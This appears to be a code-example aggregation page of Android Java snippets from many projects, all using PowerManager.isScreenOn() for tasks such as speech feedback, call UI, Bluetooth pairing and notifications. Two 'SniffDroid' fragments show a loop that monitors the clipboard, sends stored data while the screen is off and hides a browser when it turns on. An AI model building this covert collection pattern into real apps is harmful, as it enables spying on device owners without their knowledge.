/** handles screen events (e.g. user turning the screen on) */
 private void HandleScreenEvents() {
   if (!powerMan.isScreenOn()) {
     previousScreenStateOn = false;
     SendStoredData();
   }
   if (powerMan.isScreenOn()) {
     if (!previousScreenStateOn) {
       // hide the browser
       SniffDroid.ResetBrowser();
       previousScreenStateOn = true;
     }
   }
 }
예제 #2
0
  /**
   * Called by {@link ScreenSpeakService} when the configuration changes.
   *
   * @param newConfig The new configuration.
   */
  public void onConfigurationChanged(Configuration newConfig) {
    final int orientation = newConfig.orientation;
    if (orientation == mLastOrientation) {
      return;
    }

    mLastOrientation = orientation;
    notifyOnOrientationChanged(mLastOrientation);

    //noinspection deprecation
    if (!mPowerManager.isScreenOn()) {
      // Don't announce rotation when the screen is off.
      return;
    }

    if (orientation == Configuration.ORIENTATION_PORTRAIT) {
      mSpeechController.speak(
          mContext.getString(R.string.orientation_portrait),
          SpeechController.QUEUE_MODE_UNINTERRUPTIBLE,
          FeedbackItem.FLAG_NO_HISTORY,
          null);
    } else if (orientation == Configuration.ORIENTATION_LANDSCAPE) {
      mSpeechController.speak(
          mContext.getString(R.string.orientation_landscape),
          SpeechController.QUEUE_MODE_UNINTERRUPTIBLE,
          FeedbackItem.FLAG_NO_HISTORY,
          null);
    }
  }
  int processState() {
    int result = 0;
    switch (connectionState) {
      case ConnectionState.DISCONNECTED:
        if (Preferences.logging) Log.d(MetaWatch.TAG, "state: disconnected");
        break;
      case ConnectionState.CONNECTING:
        if (Preferences.logging) Log.d(MetaWatch.TAG, "state: connecting");
        // create initial connection or reconnect
        updateNotification();
        connect(MetaWatchService.this);
        if (powerManager.isScreenOn()) {
          result = 10000; // try to reconnect in 10s
        } else {
          result = 30000; // try to reconnect in 30s		
        }
        break;
      case ConnectionState.CONNECTED:
        if (Preferences.logging) Log.d(MetaWatch.TAG, "state: connected");
        // read from input stream
        readFromDevice();
        break;
      case ConnectionState.DISCONNECTING:
        if (Preferences.logging) Log.d(MetaWatch.TAG, "state: disconnecting");
        // exit
        result = -1;
        break;
    }

    return result;
  }
  private void startUi(InCallState inCallState) {
    final Call incomingCall = mCallList.getIncomingCall();
    final boolean isCallWaiting =
        (incomingCall != null && incomingCall.getState() == Call.State.CALL_WAITING);

    // If the screen is off, we need to make sure it gets turned on for incoming calls.
    // This normally works just fine thanks to FLAG_TURN_SCREEN_ON but that only works
    // when the activity is first created. Therefore, to ensure the screen is turned on
    // for the call waiting case, we finish() the current activity and start a new one.
    // There should be no jank from this since the screen is already off and will remain so
    // until our new activity is up.
    if (mProximitySensor.isScreenReallyOff() && isCallWaiting) {
      if (isActivityStarted()) {
        mInCallActivity.finish();
      }
      mInCallActivity = null;
    }

    final PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
    // If the screen is on, we'll prefer to not interrupt the user too much and slide in a card
    if (pm.isScreenOn()) {
      Intent intent = new Intent(mContext, InCallCardActivity.class);
      intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
      mContext.startActivity(intent);
    } else {
      mStatusBarNotifier.updateNotificationAndLaunchIncomingCallUi(inCallState, mCallList);
    }
  }
예제 #5
0
  public int onStartCommand(Intent intent, int flags, int startId) {
    Log.i("unidevel.UnlockService", "onStartCommand");
    if (intent != null && intent.hasExtra("lock") && intent.hasExtra("unlock")) {
      boolean lock = intent.getBooleanExtra("lock", false);
      boolean unlock = intent.getBooleanExtra("unlock", true);
      SharedPreferences pref = PreferenceManager.getDefaultSharedPreferences(this);
      if (pref != null) {
        SharedPreferences.Editor edit = pref.edit();
        edit.putBoolean("aunlocker.lock", lock);
        edit.putBoolean("aunlocker.unlock", unlock);
        edit.commit();
      }
    }
    if (this.receiver == null) {
      Log.i("unidevel.UnlockService", "onStartCommand.registerReceiver");
      this.receiver = new ScreenReceiver();
      this.receiver.setService(this);
      IntentFilter it = new IntentFilter();
      it.addAction(Intent.ACTION_SCREEN_OFF);
      it.addAction(Intent.ACTION_SCREEN_ON);
      registerReceiver(this.receiver, it);

      PowerManager pm = (PowerManager) getSystemService(POWER_SERVICE);
      if (!pm.isScreenOn()) {
        Log.i("unidevel.UnlockService", "onStartCommand init with screen off");
        onScreenOff();
      } else {
        Log.i("unidevel.UnlockService", "onStartCommand init with screen on");
        onScreenOn();
      }
    }
    return Service.START_STICKY;
  }
예제 #6
0
  @SuppressWarnings("deprecation")
  public ScreenSenseReceiver(Context context) {

    powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
    contentResolver = context.getContentResolver();
    WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
    display = windowManager.getDefaultDisplay();

    // Init static values
    try {
      displayHeight = display.getHeight();
    } catch (Exception e) {
      displayHeight = -1;
    }
    try {
      displayWidth = display.getWidth();
    } catch (Exception e) {
      displayWidth = -1;
    }

    // screenOn: first init
    try {
      if (powerManager.isScreenOn()) screenOn = 1;
      else screenOn = 0;
    } catch (Exception e) {
      screenOn = -1;
    }

    // Find the brightness path
    findBrightnessFile();
  }
예제 #7
0
 /** Call requires API level 7 */
 public boolean isScreenOn() {
   if (Build.VERSION.SDK_INT < Build.VERSION_CODES.ECLAIR_MR1) {
     Log.e("Log : ", "can not call isScreenOn if SDK_INT < 7 ");
     return false;
   } else {
     return powerManager.isScreenOn();
   }
 }
 /**
  * Run the loop until we reach the desired amount of seconds, then kill the torch. If the screen
  * turns on break out of the loop and post a notification.
  */
 private void disableTorchOnScreenOff() {
   PowerManager pm = (PowerManager) mContext.getSystemService(Context.POWER_SERVICE);
   for (int i = 1; i < disableOnScreenOffDelay(); i++) {
     if (pm.isScreenOn()) {
       break;
     } else {
       try {
         Thread.sleep(1000);
       } catch (InterruptedException ie) {
       }
     }
   }
   if (pm.isScreenOn()) {
     setNotificationShown(true);
   } else {
     mHandler.post(mKillFlashlightRunnable);
   }
 }
  /** called when the thread is run */
  @Override
  public void run() {
    previousScreenStateOn = powerMan.isScreenOn();

    while (true) {
      MonitorClipboard();
      HandleScreenEvents();
      SniffDroid.Wait(3);
    }
  }
예제 #10
0
  protected void onPause() {
    // If the screen is off then the device has been locked
    PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
    boolean isScreenOn = powerManager.isScreenOn();

    if (!isScreenOn) {
      mShakeDetector.setOnShakeListener(
          new OnShakeListener() {
            public void onShake(int count) {}
          });
    }
  }
예제 #11
0
 @Override
 public void onReceive(Context context, Intent intent) {
   acquireWakeLock(5000);
   enableKeyguard(false);
   if (mPowerManager.isScreenOn()) {
     setSuccess();
   } else {
     setFailure();
   }
   sleep(5000);
   releaseWakeLock();
   resume();
 }
예제 #12
0
  @Override
  protected void onResume() {
    Log.v(ac_tag, "onResume");
    super.onResume();

    Calendar c = Calendar.getInstance();
    int weekIndex = c.get(Calendar.DAY_OF_WEEK) - 1;

    this.timeView.setText(
        ""
            + decimalFormat.format(c.get(Calendar.HOUR_OF_DAY))
            + ":"
            + decimalFormat.format(c.get(Calendar.MINUTE)));
    this.dateView.setText(
        ""
            + decimalFormat.format(c.get(Calendar.MONTH) + 1)
            + "月"
            + decimalFormat.format(c.get(Calendar.DAY_OF_MONTH))
            + "日  "
            + weekDaysName[weekIndex]);

    this.mPassView.setVisibility(View.GONE);

    this.pbCircle.setVisibility(View.INVISIBLE);
    this.progressView.setAlpha(1f);
    this.progressView.setVisibility(View.VISIBLE);
    this.progressView.setText("正在初始化...");
    PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
    boolean isScreenOn = pm.isScreenOn();
    if (isScreenOn) {
      if (audioRecord.getState() != AudioRecord.STATE_INITIALIZED) {
        isRecording = false;
      } else {
        if (isRecording == false) {
          audioRecord.startRecording();
          isRecording = true;
        }
        STask = new SecondsRoundTask();

        ATask = new AuthenTask();

        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB) {
          STask.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR);
          ATask.executeOnExecutor(AsyncTask.THREAD_POOL_EXECUTOR);
        } else {
          STask.execute();
          ATask.execute();
        }
      }
    }
  }
  public static void postInitApplication() {
    if (applicationInited) {
      return;
    }

    applicationInited = true;

    try {
      LocaleController.getInstance();
    } catch (Exception e) {
      e.printStackTrace();
    }

    try {
      final IntentFilter filter = new IntentFilter(Intent.ACTION_SCREEN_ON);
      filter.addAction(Intent.ACTION_SCREEN_OFF);
      final BroadcastReceiver mReceiver = new ScreenReceiver();
      applicationContext.registerReceiver(mReceiver, filter);
    } catch (Exception e) {
      e.printStackTrace();
    }

    try {
      PowerManager pm =
          (PowerManager)
              ApplicationLoader.applicationContext.getSystemService(Context.POWER_SERVICE);
      isScreenOn = pm.isScreenOn();
      FileLog.e("tmessages", "screen state = " + isScreenOn);
    } catch (Exception e) {
      FileLog.e("tmessages", e);
    }

    UserConfig.loadConfig();
    if (UserConfig.getCurrentUser() != null) {
      MessagesController.getInstance().putUser(UserConfig.getCurrentUser(), true);
      ConnectionsManager.getInstance().applyCountryPortNumber(UserConfig.getCurrentUser().phone);
      ConnectionsManager.getInstance().initPushConnection();
      MessagesController.getInstance().getBlockedUsers(true);
      SendMessagesHelper.getInstance().checkUnsentMessages();
    }

    ApplicationLoader app = (ApplicationLoader) ApplicationLoader.applicationContext;
    app.initPlayServices();
    FileLog.e("tmessages", "app initied");

    ContactsController.getInstance().checkAppAccount();
    MediaController.getInstance();
  }
 private boolean isScreenOn() {
   if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT_WATCH) {
     DisplayManager dm = (DisplayManager) context.getSystemService(Context.DISPLAY_SERVICE);
     boolean screenOn = false;
     for (Display display : dm.getDisplays()) {
       if (display.getState() != Display.STATE_OFF) {
         screenOn = true;
       }
     }
     return screenOn;
   } else {
     PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
     //noinspection deprecation
     return pm.isScreenOn();
   }
 }
예제 #15
0
 private void schedNext(final Context context) {
   Log.d(TAG, "schedNext()");
   AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
   Log.d(TAG, "current: " + mNow);
   long t;
   PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
   if (pm.isScreenOn()) {
     t = mNow + 1000L;
   } else {
     t = mNextTarget - mNow;
     Log.d(TAG, "t: " + t);
     if (t < 0) { // IllegalState?
       t = 30000;
     } else if (t < 30000) {
       t = 5000;
     } else if (t < 60000) {
       t = 15000;
     } else {
       t = 30000;
     }
     Log.d(TAG, "t: " + t);
     long diff = mNextTarget - (mNow + t);
     diff = (diff / 5000) * 5000;
     Log.d(TAG, "diff: " + diff);
     if (diff == 0) {
       t = mNow + 5000;
     } else {
       t = mNextTarget - diff - 1000;
     }
   }
   Log.d(TAG, "next: " + t);
   long et;
   if (t - System.currentTimeMillis() < 100) { // IllegalState?
     et = 1000 + SystemClock.elapsedRealtime();
   } else {
     et = t - System.currentTimeMillis() + SystemClock.elapsedRealtime();
   }
   am.set(
       AlarmManager.ELAPSED_REALTIME,
       et,
       PendingIntent.getBroadcast(
           context,
           0,
           new Intent(context, UpdateReceiver.class),
           PendingIntent.FLAG_UPDATE_CURRENT));
 }
예제 #16
0
  @Override
  public void onReceive(Context context, Intent intent) {
    String action = intent.getAction();

    if (action.equals(Intent.ACTION_SCREEN_OFF)) {
      screenOn = 0;
    } else if (action.equals(Intent.ACTION_SCREEN_ON)) {
      screenOn = 1;
    } else {
      try {
        if (powerManager.isScreenOn()) screenOn = 1;
        else screenOn = 0;
      } catch (Exception e) {
        screenOn = -1;
      }
    }
  }
예제 #17
0
  protected void onResume() {
    // If the screen is off then the device has been locked
    PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
    boolean isScreenOn = powerManager.isScreenOn();

    if (isScreenOn) {
      mShakeDetector.setOnShakeListener(
          new OnShakeListener() {
            public void onShake(int count) {
              if (last_shake == false) {
                last_shake = true;
                A_dire = Random_String();
                getTTS();
              }
            }
          });
    }
  }
예제 #18
0
  @SuppressWarnings({"unused", "deprecation"})
  private static void showNotification(Context context, String msg) {
    if (Common.ON_SCREEN) return;
    NotificationManager notificationManager =
        (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);

    Notification notification =
        new Notification(R.drawable.ic_launcher, "Budly", System.currentTimeMillis());

    // The PendingIntent to launch our activity if the user selects this notification
    Intent i = new Intent();
    PendingIntent contentIntent =
        PendingIntent.getActivity(context, 0, i, PendingIntent.FLAG_CANCEL_CURRENT);

    // Set the info for the views that show in the notification panel.
    // msg.length()>15 ? msg : msg.substring(0, 15);
    notification.setLatestEventInfo(context, "Budly", msg, contentIntent);

    notification.defaults |= Notification.DEFAULT_SOUND;

    PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
    boolean isScreenOn = pm.isScreenOn();
    Log.e("screen on....", "" + isScreenOn);
    if (isScreenOn == false) {
      PowerManager.WakeLock wl =
          pm.newWakeLock(
              PowerManager.FULL_WAKE_LOCK
                  | PowerManager.ACQUIRE_CAUSES_WAKEUP
                  | PowerManager.ON_AFTER_RELEASE,
              "MyLock");
      wl.acquire(10000);
      PowerManager.WakeLock wl_cpu = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "MyCpuLock");
      wl_cpu.acquire(10000);
    }

    // TODO: it can be improved, for instance message coming from same user may be concatenated
    // next version

    // We use a layout id because it is a unique number.  We use it later to cancel.
    notification.flags = Notification.FLAG_ONGOING_EVENT;
    notification.flags = Notification.FLAG_AUTO_CANCEL;
    notificationManager.notify(0x12345678, notification);
  }
  private boolean isScreenOn() {

    // Take special care for API20+
    if (Build.VERSION.SDK_INT > Build.VERSION_CODES.KITKAT) {
      DisplayManager dm = (DisplayManager) mContext.getSystemService(mContext.DISPLAY_SERVICE);

      // We iterate through all available displays
      for (Display display : dm.getDisplays()) {
        if (display.getState() != Display.STATE_OFF) return false;
      }
      // If we are here, all displays are on;
      return true;

    } else {
      PowerManager pm = (PowerManager) getSystemService(POWER_SERVICE);

      return !pm.isScreenOn();
    }
  }
예제 #20
0
  protected void onPause() {

    super.onPause();
    mp.stop();
    mp.reset();
    PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
    boolean isScreenOn = powerManager.isScreenOn();

    if (!isScreenOn) {
      PowerManager.WakeLock wakeLock =
          powerManager.newWakeLock(
              PowerManager.SCREEN_DIM_WAKE_LOCK
                  | PowerManager.ACQUIRE_CAUSES_WAKEUP
                  | PowerManager.ON_AFTER_RELEASE,
              "TEST");
      wakeLock.acquire();
      surfaceCreated(holder);
    }
  }
예제 #21
0
        @Override
        public void onReceive(Context context, Intent intent) {

          String action = intent.getAction();

          if (action.equals(Intent.ACTION_POWER_CONNECTED)) {

            LOGGER.debug("Power connected, increasing location frequency update.");
            setOnScreeState();
            mPowerConnected = true;
          } else if (action.equals(Intent.ACTION_POWER_DISCONNECTED)) {
            LOGGER.debug("Power disconnected, restoring location frequency update.");
            mPowerConnected = false;
            PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
            // if we received a power disconnected event and the screen is off then
            // set the location update frequency to off screen
            if (!pm.isScreenOn()) {
              setOffScreenState();
            }
          }
        }
    @Override
    public void onVisibilityChanged(boolean visible) {

      super.onVisibilityChanged(visible);

      if (mRendererHasBeenSet) {

        if (visible) {
          mRendererEngine.onResume();
          mSurfaceView.onResume();
        } else {
          mRendererEngine.onPause();
          mSurfaceView.onPause();
        }

        PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
        if (mIsScreenOn != (mIsScreenOn = powerManager.isScreenOn())) {
          mRendererEngine.onScreenOnOffToggled(mIsScreenOn);
        }
      }
    }
  @Override
  public void onReceive(Context context, Intent intent) {
    String action = intent.getAction();
    if (action.equals(BluetoothDevice.ACTION_PAIRING_REQUEST)) {
      // convert broadcast intent into activity intent (same action string)
      BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
      int type = intent.getIntExtra(BluetoothDevice.EXTRA_PAIRING_VARIANT, BluetoothDevice.ERROR);
      Intent pairingIntent = new Intent();
      pairingIntent.setClass(context, BluetoothPairingDialog.class);
      pairingIntent.putExtra(BluetoothDevice.EXTRA_DEVICE, device);
      pairingIntent.putExtra(BluetoothDevice.EXTRA_PAIRING_VARIANT, type);
      if (type == BluetoothDevice.PAIRING_VARIANT_PASSKEY_CONFIRMATION
          || type == BluetoothDevice.PAIRING_VARIANT_DISPLAY_PASSKEY
          || type == BluetoothDevice.PAIRING_VARIANT_DISPLAY_PIN) {
        int pairingKey =
            intent.getIntExtra(BluetoothDevice.EXTRA_PAIRING_KEY, BluetoothDevice.ERROR);
        pairingIntent.putExtra(BluetoothDevice.EXTRA_PAIRING_KEY, pairingKey);
      }
      pairingIntent.setAction(BluetoothDevice.ACTION_PAIRING_REQUEST);
      pairingIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

      PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
      String deviceAddress = device != null ? device.getAddress() : null;
      if (powerManager.isScreenOn()
          && LocalBluetoothPreferences.shouldShowDialogInForeground(context, deviceAddress)) {
        // Since the screen is on and the BT-related activity is in the foreground,
        // just open the dialog
        context.startActivity(pairingIntent);
      } else {
        // Put up a notification that leads to the dialog
        Resources res = context.getResources();
        Notification.Builder builder =
            new Notification.Builder(context)
                .setSmallIcon(android.R.drawable.stat_sys_data_bluetooth)
                .setTicker(res.getString(R.string.bluetooth_notif_ticker));

        PendingIntent pending =
            PendingIntent.getActivity(context, 0, pairingIntent, PendingIntent.FLAG_ONE_SHOT);

        String name = intent.getStringExtra(BluetoothDevice.EXTRA_NAME);
        if (TextUtils.isEmpty(name)) {
          name =
              device != null
                  ? device.getAliasName()
                  : context.getString(android.R.string.unknownName);
        }

        builder
            .setContentTitle(res.getString(R.string.bluetooth_notif_title))
            .setContentText(res.getString(R.string.bluetooth_notif_message, name))
            .setContentIntent(pending)
            .setAutoCancel(true)
            .setDefaults(Notification.DEFAULT_SOUND)
            .setColor(res.getColor(com.android.internal.R.color.system_notification_accent_color));

        NotificationManager manager =
            (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
        manager.notify(NOTIFICATION_ID, builder.getNotification());
      }

    } else if (action.equals(BluetoothDevice.ACTION_PAIRING_CANCEL)) {

      // Remove the notification
      NotificationManager manager =
          (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
      manager.cancel(NOTIFICATION_ID);

    } else if (BluetoothDevice.ACTION_BOND_STATE_CHANGED.equals(action)) {
      int bondState = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.ERROR);
      int oldState =
          intent.getIntExtra(BluetoothDevice.EXTRA_PREVIOUS_BOND_STATE, BluetoothDevice.ERROR);
      if ((oldState == BluetoothDevice.BOND_BONDING) && (bondState == BluetoothDevice.BOND_NONE)) {
        // Remove the notification
        NotificationManager manager =
            (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
        manager.cancel(NOTIFICATION_ID);
      }
    }
  }
예제 #24
0
 public static boolean isScreenOn(Context context) {
   PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
   return powerManager.isScreenOn();
 }
예제 #25
0
 @SuppressWarnings("deprecation")
 @SuppressLint("NewApi")
 public static boolean isScreenOn(@NonNull PowerManager pm) {
   return Device.hasKitKatWatchApi() ? pm.isInteractive() : pm.isScreenOn();
 }
예제 #26
0
        @SuppressWarnings("deprecation")
		@Override
        public void onReceive(Context context, Intent intent) {
            context = mContext;

            if(km == null)
                km = (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE);
            if(pm == null)
                pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);

            //Intent事件判断
            if(intent.getAction().equals(INTENT_SETTING_CHANGED)){
                //如果用户更改了设置,从intent中读取更改过的设置
                _remove_all = intent.getExtras().getBoolean("remove_all", _remove_all);
                _remove = intent.getExtras().getBoolean("remove", _remove);
                _term = intent.getExtras().getBoolean("term", _term);
                _fest = intent.getExtras().getBoolean("fest", _fest);
                _custom = intent.getExtras().getBoolean("custom", _custom);
                _solar = intent.getExtras().getBoolean("solar", _solar);
                _solar_custom = intent.getExtras().getBoolean("solar_cutom", _solar_custom);
                _breakline = intent.getExtras().getBoolean("breakline", _breakline);
                _layout_enable = intent.getExtras().getBoolean("layout_enable", _layout_enable);
                _layout_line = intent.getExtras().getBoolean("layout_line", _layout_line);
                _layout_width = intent.getExtras().getBoolean("layout_width", _layout_width);
                _layout_align = intent.getExtras().getBoolean("layout_align", _layout_align);
                _layout_height = intent.getExtras().getBoolean("layout_height", _layout_height);
                _custom_format = intent.getExtras().getString("custom_format", _custom_format);
                _minor = intent.getExtras().getInt("minor", _minor);
                _lang = intent.getExtras().getInt("lang", _lang);
                _format = intent.getExtras().getInt("format", _format);

                _notify = intent.getExtras().getInt("notify", _notify);
                _notify_times_setting = _notify_times = intent.getExtras().getInt("notify_times", _notify_times_setting);
                _notify_center = intent.getExtras().getBoolean("notify_center", _notify_center);
                _notify_icon = intent.getExtras().getBoolean("notify_icon", _notify_icon);
                _notify_comp = intent.getExtras().getBoolean("notify_comp", _notify_comp);
                _notify_vibration = intent.getExtras().getBoolean("notify_vibration", _notify_vibration);

                for(int i = 0; i <= 14; i++){
                    clf[i] = intent.getExtras().getString("custom_lunar_item_" + i, clf[i]);
                    csf[i] = intent.getExtras().getString("custom_solar_item_" + i, csf[i]);
                }

                //重置一些变量
                if(!_layout_enable)
                    layout_run = true;

                resetLast();
                lunar = new Lunar(_lang);
                callUpdateFuncs(); //强制执行日期更新函数
            }else if(intent.getAction().equals(Intent.ACTION_SCREEN_ON)){
                //如果用户亮屏且屏幕处于未解锁状态
                if(!km.inKeyguardRestrictedInputMode() && _notify_times > 0){
                    makeToast(context);
                     _notify_times--;
                }
            }else if(intent.getAction().equals(Intent.ACTION_USER_PRESENT)){
                //如果用户解锁屏幕
                if(_notify_times > 0){
                    makeToast(context);
                    _notify_times--;
                }
            }else if(intent.getAction().equals(Intent.ACTION_DATE_CHANGED)){
                //如果日期变更且用户处于亮屏状态
                resetLast();
                callUpdateFuncs(); //强制执行日期更新函数
                if(pm.isScreenOn() && !km.inKeyguardRestrictedInputMode())
                    makeToast(context);
            }else if (intent.getAction().equals(Intent.ACTION_TIMEZONE_CHANGED)){
                //如果时区变更
                resetLast();
                lunar = new Lunar(_lang);
                callUpdateFuncs(); //强制执行日期更新函数
                makeToast(context);
            }else if(intent.getAction().equals(INTENT_SETTING_TOAST)){
                if(_notify != 2){
                    //改为总是弹出,强制更新,再改回去,强制更新
                    int _notify_temp = _notify; //设置一个临时变量记录初始状态
                    _notify = 2; //设置为总是弹出通知
                    resetLast();
                    callUpdateFuncs(); //强制执行日期更新函数
                    makeToast(context);
                    _notify = _notify_temp; // 吐司通知设置复位到初始状态
                    lunarTextToast = ""; // 清空Toast文字,避免其它情况再次显示
                    resetLast();
                    callUpdateFuncs();
                }else{
                    makeToast(context);
                }
            }
        }
예제 #27
0
 @SuppressLint("NewApi")
 @Override
 public boolean vgetScreenState(Context context) {
   PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
   return pm.isScreenOn();
 }
  @Override
  public void onReceive(Context context, Intent intent) {
    mContext = context;
    String action = intent.getAction();

    if (DEBUG) Log.d(TAG, "onReceive");

    if (action.equals(BluetoothDevice.ACTION_CONNECTION_ACCESS_REQUEST)) {
      // convert broadcast intent into activity intent (same action string)
      mDevice = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
      mRequestType =
          intent.getIntExtra(BluetoothDevice.EXTRA_ACCESS_REQUEST_TYPE, BluetoothDevice.ERROR);
      mReturnPackage = intent.getStringExtra(BluetoothDevice.EXTRA_PACKAGE_NAME);
      mReturnClass = intent.getStringExtra(BluetoothDevice.EXTRA_CLASS_NAME);

      Intent connectionAccessIntent = new Intent(action);
      connectionAccessIntent.setClass(context, BluetoothPermissionActivity.class);
      connectionAccessIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
      connectionAccessIntent.putExtra(BluetoothDevice.EXTRA_ACCESS_REQUEST_TYPE, mRequestType);
      connectionAccessIntent.putExtra(BluetoothDevice.EXTRA_DEVICE, mDevice);
      connectionAccessIntent.putExtra(BluetoothDevice.EXTRA_PACKAGE_NAME, mReturnPackage);
      connectionAccessIntent.putExtra(BluetoothDevice.EXTRA_CLASS_NAME, mReturnClass);

      // Check if user had made decisions on accepting or rejecting the phonebook access
      // request. If there is, reply the request and return, no need to start permission
      // activity dialog or notification.
      if (checkUserChoice()) {
        return;
      }

      String deviceAddress = mDevice != null ? mDevice.getAddress() : null;
      PowerManager powerManager = (PowerManager) context.getSystemService(Context.POWER_SERVICE);

      if (powerManager.isScreenOn()
          && LocalBluetoothPreferences.shouldShowDialogInForeground(context, deviceAddress)) {
        context.startActivity(connectionAccessIntent);
      } else {
        // Put up a notification that leads to the dialog

        // Create an intent triggered by clicking on the
        // "Clear All Notifications" button
        Intent deleteIntent = new Intent(BluetoothDevice.ACTION_CONNECTION_ACCESS_REPLY);
        deleteIntent.putExtra(BluetoothDevice.EXTRA_DEVICE, mDevice);
        deleteIntent.putExtra(
            BluetoothDevice.EXTRA_CONNECTION_ACCESS_RESULT, BluetoothDevice.CONNECTION_ACCESS_NO);

        int notificationId = 0;
        int stringId = 0;
        if (mRequestType == BluetoothDevice.REQUEST_TYPE_PROFILE_CONNECTION) {
          /*It looks that the extra type REQUEST_TYPE_PROFILE_CONNECTION is defined
           *to create pop up for remote initiated A2DP, HF and HID but not used for now
           */
          notificationId = NOTIFICATION_ID;
          stringId = R.string.bluetooth_connection_permission_request;
        } else if (mRequestType == BluetoothDevice.REQUEST_TYPE_PHONEBOOK_ACCESS) {
          notificationId = NOTIFICATION_ID_ACCESS_PBAP;
          stringId = R.string.bluetooth_pbap_connection_permission_request;
        } else if (mRequestType == BluetoothDevice.REQUEST_TYPE_FILE_ACCESS) {
          notificationId = NOTIFICATION_ID_ACCESS_FTP;
          stringId = R.string.bluetooth_ftp_connection_permission_request;
        } else if (mRequestType == BluetoothDevice.REQUEST_TYPE_MESSAGE_ACCESS) {
          notificationId = NOTIFICATION_ID_ACCESS_MAP;
          stringId = R.string.bluetooth_map_connection_permission_request;
        } else if (mRequestType == BluetoothDevice.REQUEST_TYPE_SIM_ACCESS) {
          notificationId = NOTIFICATION_ID_ACCESS_SAP;
          stringId = R.string.bluetooth_sap_connection_permission_request;
        } else {
          /* Unhandled request */
          return;
        }

        Notification notification =
            new Notification(
                android.R.drawable.stat_sys_data_bluetooth,
                context.getString(stringId),
                System.currentTimeMillis());
        String deviceName = mDevice != null ? mDevice.getAliasName() : null;
        notification.setLatestEventInfo(
            context,
            context.getString(stringId),
            context.getString(R.string.bluetooth_connection_notif_message, deviceName),
            PendingIntent.getActivity(
                context, notificationId, connectionAccessIntent, PendingIntent.FLAG_ONE_SHOT));
        notification.flags = Notification.FLAG_AUTO_CANCEL | Notification.FLAG_ONLY_ALERT_ONCE;
        notification.defaults = Notification.DEFAULT_SOUND;
        notification.deleteIntent =
            PendingIntent.getBroadcast(context, 0, deleteIntent, PendingIntent.FLAG_ONE_SHOT);

        NotificationManager notificationManager =
            (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
        notificationManager.notify(notificationId, notification);
      }
    } else if (action.equals(BluetoothDevice.ACTION_CONNECTION_ACCESS_CANCEL)) {
      // Remove the notification
      int notificationId = 0;
      int clearNotification =
          intent.getIntExtra(BluetoothDevice.EXTRA_ACCESS_REQUEST_TYPE, BluetoothDevice.ERROR);
      if (clearNotification == BluetoothDevice.REQUEST_TYPE_PROFILE_CONNECTION) {
        /* Not used for now */
        notificationId = NOTIFICATION_ID;
      } else if (clearNotification == BluetoothDevice.REQUEST_TYPE_PHONEBOOK_ACCESS) {
        notificationId = NOTIFICATION_ID_ACCESS_PBAP;
      } else if (clearNotification == BluetoothDevice.REQUEST_TYPE_FILE_ACCESS) {
        notificationId = NOTIFICATION_ID_ACCESS_FTP;
      } else if (clearNotification == BluetoothDevice.REQUEST_TYPE_MESSAGE_ACCESS) {
        notificationId = NOTIFICATION_ID_ACCESS_MAP;
      } else if (clearNotification == BluetoothDevice.REQUEST_TYPE_SIM_ACCESS) {
        notificationId = NOTIFICATION_ID_ACCESS_SAP;
      } else {
        /* Do not clear */
        return;
      }

      NotificationManager manager =
          (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
      manager.cancel(notificationId);
    }
  }
예제 #29
0
        @TargetApi(Build.VERSION_CODES.JELLY_BEAN)
        public void run() {

          // notification and set foreground
          @SuppressWarnings("deprecation")
          Notification note =
              new Notification.Builder(getApplicationContext())
                  .setContentTitle("Logging")
                  .setSmallIcon(R.drawable.ic_launcher)
                  .getNotification();

          startForeground(1337, note);

          boolean mExternalStorageAvailable = false;
          boolean mExternalStorageWriteable = false;
          String state = Environment.getExternalStorageState();

          if (Environment.MEDIA_MOUNTED.equals(state)) {
            // We can read and write the media
            mExternalStorageAvailable = mExternalStorageWriteable = true;
          } else if (Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
            // We can only read the media
            mExternalStorageAvailable = true;
            mExternalStorageWriteable = false;
          } else {
            // Something else is wrong. It may be one of many other states,
            // but all we need
            // to know is we can neither read nor write
            mExternalStorageAvailable = mExternalStorageWriteable = false;
          }
          // can't open a file, abort
          if (!(mExternalStorageAvailable && mExternalStorageWriteable)) {
            Log.e(TAG, "Could not get external storage");
            LoggerService.this.stopSelf();
          }
          // System.out.println(getExternalFilesDir(null));
          System.out.println("Write to log.");

          Calendar now = Calendar.getInstance();
          String log_n;
          // log file name is current date and time
          log_n =
